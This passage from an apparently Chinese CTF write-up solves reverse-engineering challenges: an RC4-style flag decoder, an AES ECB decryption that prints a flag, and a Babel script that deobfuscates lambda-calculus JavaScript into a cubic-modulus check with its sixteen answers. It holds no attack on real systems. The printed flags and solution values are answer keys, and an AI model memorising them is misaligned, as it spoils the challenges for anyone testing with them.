output=[38304, 8928, 43673, 25957 , 67260, 47152, 16656, 62832 , 19480 , 66690, 40432, 15072 , 63427 , 28558 , 54606, 47712 , 18240 , 68187 , 18256, 63954 , 48384, 14784, 60690 , 21724 , 53238 , 64176 , 9888 , 54859 , 23050 , 58368 , 46032 , 15648 , 64260 , 17899 , 52782 , 51968 , 12336 , 69377 , 27844 , 43206 , 63616]
def ksa(s,key):
ls=[i for i in range(256)]
j=0
for i in range(256):
j=(j+ls[i]+key[i%len(key)])%256
ls[i],ls[j]=ls[j],ls[i]
ll=[]
i2,i3=0,0
for i in range(len(s)):
i2=(i2+1)%256
i3=(i3+ls[i2])%256
ls[i2],ls[i3]=ls[i3],ls[i2]
ll.append((ls[(ls[i2]+ls[i3])%256])^s[i])
return ll
for i in range(len(output)):
output[i]-=2*key2[i%len(key2)]
output[i]//=key3[i%len(key3)]
output[i]-=3*key2[i%len(key2)]
key=output[-5:]
flag=output[:36]
key=ksa(key,flag)
flag=ksa(flag,key)
print('flag{',end='')
print(''.join(map(chr,flag)),end='')
print('}')
babyre
在IDA中查看,发现是接受一串数据并对其进行处理,查看后发现第一个函数是标准的AES ECB加密,第二个函数是将顺序和加密后的结果进行拆分存储,最后一个函数则是读取存储的数以及顺序并进行判断。
首先可以根据一下部分推出v5-v15所有可能的值,其中v8v7v6v5是顺序,v15v14v13v12v11v10v9是加密后的数据。
AES ECB解密即可
#其中一组数据
v5=1
v6=1
v8=0
v9=0
v10=1
v12=0
v13=0
v14=0
v15=1
v16=1
v11=0
v7=0
print(hex(int((str(v9)+str(v10)+str(v11)+str(v12)+str(v13)+str(v14)+str(v15)+str(v16))[::-1],2)))#原始数据
print(int(str(v8)+str(v7)+str(v6)+str(v5),2))#顺序
ls=[0]*16
ls[6]=0xb2
ls[10]=0x4a
ls[15]=0x48
ls[14]=0xa
ls[0]=0x12
ls[7]=0x4c
ls[5]=0x4
ls[1]=0x8f
ls[11]=0xcf
ls[8]=0x5b
ls[9]=0xba
ls[13]=0x36
ls[6]=0xb2
ls[12]=0x11
ls[4]=0x85
ls[3]=0xc2
ls[2]=0xec
#ls=[0x12,0x8f,0xec,0xc2,0x85,0x04,0xb2,0x4c,0x5b,0xba,0x4a,0xcf,0x11,0x36,0x0a,0x48]
from Crypto.Cipher import AES
key_le = b'\x35\x77\x40\x2E\xCC\xA4\x4A\x3F\x9A\xB7\x21\x82\xF9\xB0\x1F\x35'
cipher = AES.new(key_le, AES.MODE_ECB)
hex_string = '\\x12\\x8f\\xec\\xc2\\x85\\x04\\xb2\\x4c\\x5b\\xba\\x4a\\xcf\\x11\\x36\\x0a\\x48'
encrypted_data = bytes.fromhex(hex_string.replace('\\x', ''))
decrypted_data = cipher.decrypt(encrypted_data)
print(decrypted_data)
#'\x4d\x87\xef\x03\x77\xbb\x49\x1a\x80\xf5\x46\x20\x24\x58\x07\xc4'
#flag{4d87ef03-77bb-491a-80f5-4620245807c4}
决赛
Reverse
ooo
Day 1
换成了 JavaScript
的箭头函数,看着舒服一点,还可以用 Babel
。
- 删去所有
lambda
- 把所有的
:
替换为=>
- 变量名替换
c1=>c2=>c3=>c4=>c5=>c6=>c7=>c8=>c9=>c10=>c11=>c12=>c13=>c14=>c15=>c16=>(a1=>a2=>(b1=>b2=>b1(b2)(c1=>c2=>c2))((b1=>b2=>(c1=>c1(c2=>d1=>d2=>d2)(c2=>d1=>c2))((c1=>c2=>c2(d1=>d2=>d3=>d1(d4=>d5=>d5(d4(d2)))(d4=>d3)(d4=>d4))(c1))(b2)(b1)))(a1)(a2))((b1=>b2=>(c1=>c1(c2=>d1=>d2=>d2)(c2=>d1=>c2))((c1=>c2=>c2(d1=>d2=>d3=>d1(d4=>d5=>d5(d4(d2)))(d4=>d3)(d4=>d4))(c1))(b1)(b2)))(a1)(a2)))((a1=>(a2=>a1(b1=>a2(a2)(b1)))(a2=>a1(b1=>a2(a2)(b1))))(a1=>a2=>b1=>b2=>(c1=>c2=>c1(d1=>d2=>d1)(c2))((c1=>(c2=>c2(d1=>d2=>d1))(c1))(b1))((c1=>(c2=>c2(d1=>d2=>d1))(c1))(b2))(c1=>c2=>d1=>d1)(c1=>(c2=>d1=>c2(d2=>d3=>d4=>d3(d2(d3)(d4)))(d1))(a1(a2)((c2=>(d1=>d1(d2=>d3=>d3))((d1=>d1(d2=>d3=>d3))(c2)))(b1))((c2=>(d1=>d1(d2=>d3=>d3))((d1=>d1(d2=>d3=>d3))(c2)))(b2)))(a2((c2=>(d1=>d1(d2=>d3=>d2))((d1=>d1(d2=>d3=>d3))(c2)))(b1))((c2=>(d1=>d1(d2=>d3=>d2))((d1=>d1(d2=>d3=>d3))(c2)))(b2))))(c1=>c2=>c2))(a1=>a2=>(b1=>b2=>b1(b2)(c1=>c2=>c2))((b1=>b2=>(c1=>c1(c2=>d1=>d2=>d2)(c2=>d1=>c2))((c1=>c2=>c2(d1=>d2=>d3=>d1(d4=>d5=>d5(d4(d2)))(d4=>d3)(d4=>d4))(c1))(b1)(b2)))(a1)((b1=>b2=>c1=>b2(b1(b2)(c1)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b2(b1(b2)(c1)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b2(b1(b2)(c1)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b2(b1(b2)(c1)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b2(b1(b2)(c1)))(b1=>b2=>b2)))))))))))))))((b1=>b2=>(c1=>c2=>c1(c2)(d1=>d2=>d2))((c1=>c2=>(d1=>d1(d2=>d3=>d4=>d4)(d2=>d3=>d2))((d1=>d2=>d2(d3=>d4=>d5=>d3(e1=>e2=>e2(e1(d4)))(e1=>d5)(e1=>e1))(d1))(c2)(c1)))(b1)(b2))((c1=>c2=>(d1=>d1(d2=>d3=>d4=>d4)(d2=>d3=>d2))((d1=>d2=>d2(d3=>d4=>d5=>d3(e1=>e2=>e2(e1(d4)))(e1=>d5)(e1=>e1))(d1))(c1)(c2)))(b1)(b2)))((b1=>(b2=>b1(c1=>b2(b2)(c1)))(b2=>b1(c1=>b2(b2)(c1))))(b1=>b2=>c1=>c2=>(d1=>d1(d2=>d3=>d4=>d4)(d2=>d3=>d2))(c1)(d1=>d2=>d2)(d1=>(d2=>(d3=>d2(d4=>d3(d3)(d4)))(d3=>d2(d4=>d3(d3)(d4))))(d2=>d3=>d4=>(d5=>e1=>(e2=>e2(e3=>e4=>e5=>e5)(e3=>e4=>e3))((e2=>e3=>e3(e4=>e5=>e8=>e4(e6=>e7=>e7(e6(e5)))(e6=>e8)(e6=>e6))(e2))((e2=>e3=>e4=>e3(e2(e3)(e4)))(d5))(e1)))(d3)(d4)(d5=>d3)(d5=>d2((e1=>e2=>e2(e3=>e4=>e5=>e3(e8=>e6=>e6(e8(e4)))(e8=>e5)(e8=>e8))(e1))(d3)(d4))(d4))(d5=>e1=>e1))((d2=>d3=>d4=>d2(d3(d4)))(b1(b2)((d2=>d3=>d4=>d2(d5=>e1=>e1(d5(d3)))(d5=>d4)(d5=>d5))(c1))(c2))(b2))(c2))(d1=>d2=>d2))(a1)(b1=>b2=>b1(b1(b1(b2))))((b1=>b2=>c1=>b2(b1(b2)(c1)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b2(b1(b2)(c1)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b2(b1(b2)(c1)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b2(b1(b2)(c1)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b2(b1(b2)(c1)))(b1=>b2=>b2)))))))))))))))(a2))(b1=>b1)(b1=>b2=>b2))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>b1=>b1(a1)(a2))(a1=>a2=>a1)(a1=>a2=>a1))(c16))(c15))(c14))(c13))(c12))(c11))(c10))(c9))(c8))(c7))(c6))(c5))(c4))(c3))(c2))(c1))((a1=>(a2=>a1(b1=>a2(a2)(b1)))(a2=>a1(b1=>a2(a2)(b1))))(a1=>a2=>b1=>(b2=>c1=>(c2=>c2(d1=>d2=>d3=>d3)(d1=>d2=>d1))((c2=>d1=>d1(d2=>d3=>d4=>d2(d5=>e1=>e1(d5(d3)))(d5=>d4)(d5=>d5))(c2))(c1)(b2)))(a2)(b1)(b2=>(c1=>c2=>d1=>d1(c1)(c2))(c1=>c2=>c1)(c1=>c2=>c1))(b2=>(c1=>c2=>(d1=>d2=>d3=>d3(d1)(d2))(d1=>d2=>d2)((d1=>d2=>d3=>d3(d1)(d2))(c2)(c1)))(a1((c1=>c2=>d1=>c2(c1(c2)(d1)))(a2))(b1))(a2))(b2=>c1=>b2))(a1=>a2=>a1(a1(a1(a2))))((a1=>a2=>b1=>a2(a1(a2)(b1)))((a1=>a2=>b1=>a1(a2(b1)))(a1=>a2=>a1(a1(a2)))((a1=>a2=>a2(a1))(a1=>a2=>a1(a1(a1(a2))))(a1=>a2=>a1(a1(a2))))))))((a1=>a2=>b1=>a1(a2(b1)))((a1=>a2=>b1=>a2(a1(a2)(b1)))(a1=>a2=>a1(a1(a1(a2)))))((a1=>a2=>b1=>a2(a1(a2)(b1)))(a1=>a2=>a1(a1(a1(a2))))))(true)(false)
下方的内容已经过时,可以直接看 Day 2 的自动反混淆部分。
注意到一些反复出现的模式,把它们单独拎出来命名:
- Church Number
const f0 = f => x => x
const f1 = f => x => f(x)
const f2 = f => x => f(f(x))
const f3 = f => x => f(f(f(x)))
- 乘法运算符:mul(f_i)(f_j) = f_{i*j}
const mul = a => b => f => a(b(f))
+1
运算符:inc(f_i) = f_{i+1}
const inc = f => g => x => g(f(g)(x))
结合上述两个性质,可以先把这个东西化简了(一共出现两次)
(inc)((mul)(f2)((inc)((mul)(f2)((inc)((mul)(f2)((mul)(f2)((mul)(f2)((mul)(f2)((mul)(f2)((inc)((mul)(f2)((inc)(f0)))))))))))))
1+(2*(1+(2*(1+(2*(2*(2*(2*(2*(1+(2*(1+(0)))))))))))))
最后得到是 f_{391} 。
- 幂运算符:pow(f_i)(f_j) = f_{i^j} (只出现一次)
const pow = f => g => g(f)
- 这个不知道有啥用,先替换一下(补充:还真有用。叫做
CONS
)
const xyf = x => y => f => f(x)(y)
true
和false
的 λ 表达式
const TRUE = x => y => x
const FALSE = x => y => y
- Y 组合子
const Y = f => (a => f(b => a(a)(b)))(a => f(b => a(a)(b)))
Day 2
之前大部分工作都是靠人类智慧化简,然而做完了才在 Github 上面找到一个神秘仓库,看样子就是用这个仓库做的混淆。于是对照仓库中的函数命名写了自动化脚本。
const { readFileSync } = require('fs')
const parser = require('@babel/parser')
const traverse = require('@babel/traverse').default
const generate = require('@babel/generator').default
const t = require('@babel/types')
let code = readFileSync('encrypted.js', 'utf-8')
const ast = parser.parse(code)
const isSameType = (type, node1, node2) => t[type](node1) && t[type](node2)
/**
* 递归匹配 AST 节点和模式。
*
* 此函数检查给定的 `ast` 是否匹配 `pattern` 的结构和内容。
* 它支持匹配箭头函数、函数调用和标识符。
*
* @param {import('@babel/types').Expression} ast - 要匹配的 AST 节点
* @param {import('@babel/types').Expression} pattern - 匹配模式
* @returns {boolean} - 如果节点匹配模式,则返回 `true`,否则返回 `false`。
*/
function recursive_match(ast, pattern, dict = new Map()) {
if (isSameType('isArrowFunctionExpression', pattern, ast)) {
return (
ast.params.length === pattern.params.length &&
ast.params.every((param, index) =>
recursive_match(param, pattern.params[index], dict)
) &&
recursive_match(ast.body, pattern.body, dict)
)
}
if (isSameType('isCallExpression', pattern, ast)) {
return (
recursive_match(ast.callee, pattern.callee, dict) &&
ast.arguments.length === pattern.arguments.length &&
ast.arguments.every((arg, index) =>
recursive_match(arg, pattern.arguments[index], dict)
)
)
}
if (t.isIdentifier(ast)) {
if (t.isStringLiteral(pattern)) return pattern.value === ast.name
if (t.isIdentifier(pattern)) {
if (!dict.has(pattern.name)) {
dict.set(pattern.name, ast.name)
return true
}
return dict.get(pattern.name) === ast.name
}
}
return false
}
/**
* 替换 AST 中的表达式。
*
* @param {import('@babel/types').File} ast - 要遍历的抽象语法树。
* @param {string} expression - 要匹配的表达式字符串。
* @param {string} replacement - 用于替换的表达式字符串。
*/
function replace(ast, expression, replacement) {
const from = parser.parseExpression(expression)
const target = parser.parseExpression(replacement)
traverse(ast, {
[from.type](path) {
if (recursive_match(path.node, from)) path.replaceWith(target)
// 本来以为可能有 MUL(a)(b) 这种需要动态替换变量名的情况,
// 但是实际上不需要,直接文本替换 MUL 就很好使了。
//
// const dict = new Map()
// if (recursive_match(path.node, from, dict)) {
// const replacement = t.cloneNode(target)
// traverse(
// replacement,
// {
// Identifier(path) {
// const { node } = path
// if (dict.has(node.name)) {
// node.name = dict.get(node.name)
// }
// },
// },
// path.scope
// )
// path.replaceWith(replacement)
// }
},
})
}
// Combinator
replace(
ast,
'f => (x => f(y => x(x)(y)))(x => f(y => x(x)(y)))',
'Y_Combinator'
)
// Bool
replace(ast, 't => f => t', 'TRUE')
replace(ast, 't => f => f', 'FALSE')
replace(ast, 'x => y => x(y)(_)', 'AND')
replace(ast, 'x => y => x(_)(y)', 'OR')
// Aritmetic
replace(ast, 'n => f => x => f(n(f)(x))', 'SUCC')
replace(ast, 'n => f => x => n(g => h => h(g(f)))(_ => x)(e => e)', 'PRED')
replace(ast, 'a => b => b("SUCC")(a)', 'ADD')
replace(ast, 'a => b => b("PRED")(a)', 'SUB')
replace(ast, 'a => b => f => a(b(f))', 'MUL')
replace(ast, 'a => b => b(a)', 'POW')
// Order
replace(ast, 'a => a(_ => "FALSE")("TRUE")', 'ISZERO')
replace(ast, 'a => b => "ISZERO"("SUB"(b)(a))', 'GTE')
replace(ast, 'a => b => "ISZERO"("SUB"(a)(b))', 'LTE')
replace(ast, 'a => b => "ISZERO"("SUB"("SUCC"(b))(a))', 'GT')
replace(ast, 'a => b => "ISZERO"("SUB"("SUCC"(a))(b))', 'LT')
replace(ast, 'a => b => "AND"("GTE"(a)(b))("LTE"(a)(b))', 'EQ')
// Number
replace(ast, 'f => x => f(f(x))', 'TWO')
replace(ast, 'f => x => f(f(f(x)))', 'THREE')
// FIX: Magic number
replace(
ast,
'SUCC(MUL(TWO)(SUCC(MUL(TWO)(SUCC(MUL(TWO)(MUL(TWO)(MUL(TWO)(MUL(TWO)(MUL(TWO)(SUCC(MUL(TWO)(SUCC(FALSE)))))))))))))',
'NUM_391'
)
// Pair
replace(ast, 'a => b => s => s(a)(b)', 'CONS')
replace(ast, 'p => p("TRUE")', 'CAR')
replace(ast, 'p => p("FALSE")', 'CDR')
// List
replace(ast, '"CONS"("TRUE")("TRUE")', 'LIST')
replace(ast, 'list => "CAR"(list)', 'EMPTY')
replace(ast, 'list => "CAR"("CDR"(list))', 'HEAD')
replace(ast, 'list => "CDR"("CDR"(list))', 'TAIL')
replace(ast, 'list => x => "CONS"("FALSE")("CONS"(x)(list))', 'PREPEND')
// High level functions
replace(
ast,
'"Y_Combinator"(f => a => b => "LT"(a)(b)(_1 => a)(_2 => f("SUB"(a)(b))(b))("FALSE"))',
'MOD'
)
replace(
ast,
'"Y_Combinator"(f => list => x => "EMPTY"(list)(_1 => "PREPEND"(list)(x))(_2 => "CONS"("FALSE")("CONS"("HEAD"(list))(f("TAIL"(list))(x))))("TRUE"))',
'APPEND'
)
replace(
ast,
'"Y_Combinator"(f => a => b => "GTE"(a)(b)(_1 => "LIST")(_2 => "PREPEND"(f("SUCC"(a))(b))(a))("TRUE"))',
'RANGE'
)
console.log(generate(ast).code)
反混淆后可以得到下面的代码:
EQ(
Y_Combinator(
a1 => a2 => b1 => b2 =>
OR(EMPTY(b1))(EMPTY(b2))(c1 => FALSE)(c1 =>
(
c2 => d1 =>
c2(SUCC)(d1)
)(a1(a2)(TAIL(b1))(TAIL(b2)))(a2(HEAD(b1))(HEAD(b2)))
)(FALSE)
)(
a1 => a2 =>
AND(LTE(a1)(NUM_391))(
EQ(
Y_Combinator(
b1 => b2 => c1 => c2 =>
ISZERO(c1)(FALSE)(d1 => MOD(MUL(b1(b2)(PRED(c1))(c2))(b2))(c2))(
FALSE
)
)(a1)(THREE)(NUM_391)
)(a2)
)(b1 => b1)(FALSE)
)(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
LIST
)(c16)
)(c15)
)(c14)
)(c13)
)(c12)
)(c11)
)(c10)
)(c9)
)(c8)
)(c7)
)(c6)
)(c5)
)(c4)
)(c3)
)(c2)
)(c1)
)(RANGE(THREE)(SUCC(MUL(TWO)(POW(THREE)(TWO)))))
)(MUL(SUCC(THREE))(SUCC(THREE)))(true)(false)
重新命名一下:
EQ(
Y_Combinator(
f => judge_func => A => B =>
OR(EMPTY(A))(EMPTY(B))(() => 0)(() =>
(
c2 => d1 =>
c2(SUCC)(d1)
)(f(judge_func)(TAIL(A))(TAIL(B)))(judge_func(HEAD(A))(HEAD(B)))
)(0)
)(
input => expect =>
AND(LTE(input)(391))(
EQ(
Y_Combinator(
f => n => i => mod =>
ISZERO(i)(e => _ => _)(() => MOD(MUL(f(n)(PRED(i))(mod))(n))(mod))(0)
)(input)(3)(391)
)(expect)
)(_ => _)(0)
)(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
PREPEND(
LIST
)(c16)
)(c15)
)(c14)
)(c13)
)(c12)
)(c11)
)(c10)
)(c9)
)(c8)
)(c7)
)(c6)
)(c5)
)(c4)
)(c3)
)(c2)
)(c1)
)(RANGE(3)(19))
)(16)(true)(false)
把 APPEND
改成数组,把 EQ
、 OR
、 AND
等等函数换为对应的运算符:
其中
RANGE(3)(19) = [3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18]
注意
ISZERO(i)(e => _ => _)(...)(0)
这里的e => _ => _
并不是FALSE
,因为在最后有一个调用(0)
,实际上应该变为i == 0 ? (e => _ => _)(0) : (...)(0)
也就是_ => _
。
(Y_Combinator(f => judge_func => A => B => {
if (A.empty() || B.empty()) {
return 0
} else {
return (
c2 => d1 =>
c2(SUCC)(d1)
)(f(judge_func)(TAIL(A))(TAIL(B)))(judge_func(HEAD(A))(HEAD(B)))
}
})(input => expect => {
input <= 391 &&
EQ(
Y_Combinator(f => n => i => mod => {
return i == 0 ? (_ => _) : (() => (f(n)(i - 1)(mod) * n) % mod)(0)
})(input)(3)(391)
)(expect)
? _ => _
: 0
})
([c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11, c12, c13, c14, c15, c16])
([ 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18])
) == 16 ? true : false
注意到第一部分声明了一个循环函数,使用传入的 judge_func
依次检查十六个数是否满足要求,然后返回 _ => _
或者 0
,所以我们只关注中间部分即可:
input => expect => {
return (
input <= 391 &&
Y_Combinator(f => n => i => mod => {
return i == 0 ? (_ => _) : (() => (f(n)(i - 1)(mod) * n) % mod)(0)
})(input)(3)(391) == expect
)
}
发现输入的数字不能超过 391
,接着看里面的循环,它的结果需要等于 range(3, 19)
中对应的数字:
f = (n, i, mod) => {
if (i == 0) return _ => _
return (() => (f(n, i - 1, mod) * n) % mod)(0)
}
f(input, 3, 391)
里面有个立刻执行函数,拆掉:
f = (n, i, mod) => {
if (i == 0) return _ => _
return (f(n, i - 1, mod) * n) % mod
}
f(input, 3, 391)
mod
从始至终都没变,所以也可以省略:
f = (n, i) => {
if (i == 0) return _ => _
return (f(n, i - 1) * n) % 391
}
f(input, 3)
= f(input, 2) * input % 391
= f(input, 1) * input * input % 391
= f(input, 0) * input * input * input % 391
因为 _ => _
是一个单位元,此处可以认为是 1
,于是逻辑分析完毕:
input <= 391 && input ** 3 % 391 == expect
其中第 1 个数字对应 expect = 3 ,第 2 个对应 expect=4 ,以此类推,直接暴力查找逆元即可。
最后找到这十六个数是
[58, 302, 249, 192, 14, 2, 236, 258, 148, 312, 225, 316, 366, 101, 153, 188]
直接输入会发现嵌套层数过多,无法在有限时间内验算出来,只好删掉演算直接输出 flag
。